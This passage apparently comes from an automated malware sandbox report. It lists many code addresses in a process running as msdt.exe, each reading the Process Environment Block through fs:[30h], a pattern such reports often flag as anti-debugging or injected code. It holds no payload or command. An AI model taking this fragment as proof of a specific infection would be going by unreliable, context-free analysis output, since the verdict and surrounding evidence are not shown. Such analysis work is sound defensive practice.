          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534AD30 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053CA537 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05374D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05374D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05374D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536C577 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536C577 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05367D50 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05418D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540E539 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05383D43 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C3540 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05371DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05371DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05371DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053735A1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540FDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537FD9B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537FD9B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05342D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05342D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05342D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05342D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05342D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053F8DF1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535D5E0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535D5E0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054105AC mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054105AC mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6DC9 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537BC2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536746D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DC450 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DC450 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537A44B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05418CD6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535849B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054014FB mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537E730 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05344F2E mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05344F2E mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536F716 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05418F6A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DFF10 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DFF10 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537A70E mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537A70E mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541070D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541070D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535FF60 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535EF40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05358794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053837F5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053FFE3F mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540AE44 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540AE44 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534E620 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537A61C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537A61C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05378E00 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401608 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535766D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05357E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05357E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05357E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05357E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05357E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05357E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05418ED6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C46A7 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DFE87 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053716E0 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053576E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05410EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05410EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05410EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053736CC mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053FFEC0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05388EC7 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537513A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537513A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05364120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05364120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05364120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05364120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05364120 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534B171 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534B171 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534C962 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536B944 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536B944 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053761A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053761A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C69A6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372990 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537A185 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536C182 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053D41E8 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05402073 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05411074 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05414015 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05414015 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05360050 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05360050 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537F0BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537F0BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537F0BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053890AF mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349080 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C3884 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C3884 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053440E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053440E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053440E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053458EC mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DB8D0 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053DB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05418B58 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05373B7A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05373B7A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534DB60 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540131B mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534F358 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534DB40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05374BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05374BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05374BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372397 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537B390 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05351B8F mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05351B8F mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053FD380 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540138A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053703E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053703E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053703E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053703E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053703E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053703E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0536DBE9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05415BA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C53CA mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053C53CA mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05384A2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05384A2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540EA55 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05418A62 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05345210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05345210 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05345210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05345210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05363A1C mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05358A0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0538927A mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053FB260 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053FB260 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053D4257 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05349240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535AAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535AAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537FAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053452A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053452A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053452A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053452A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053452A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537D294 mov eax, dword ptr fs:[00000030h]
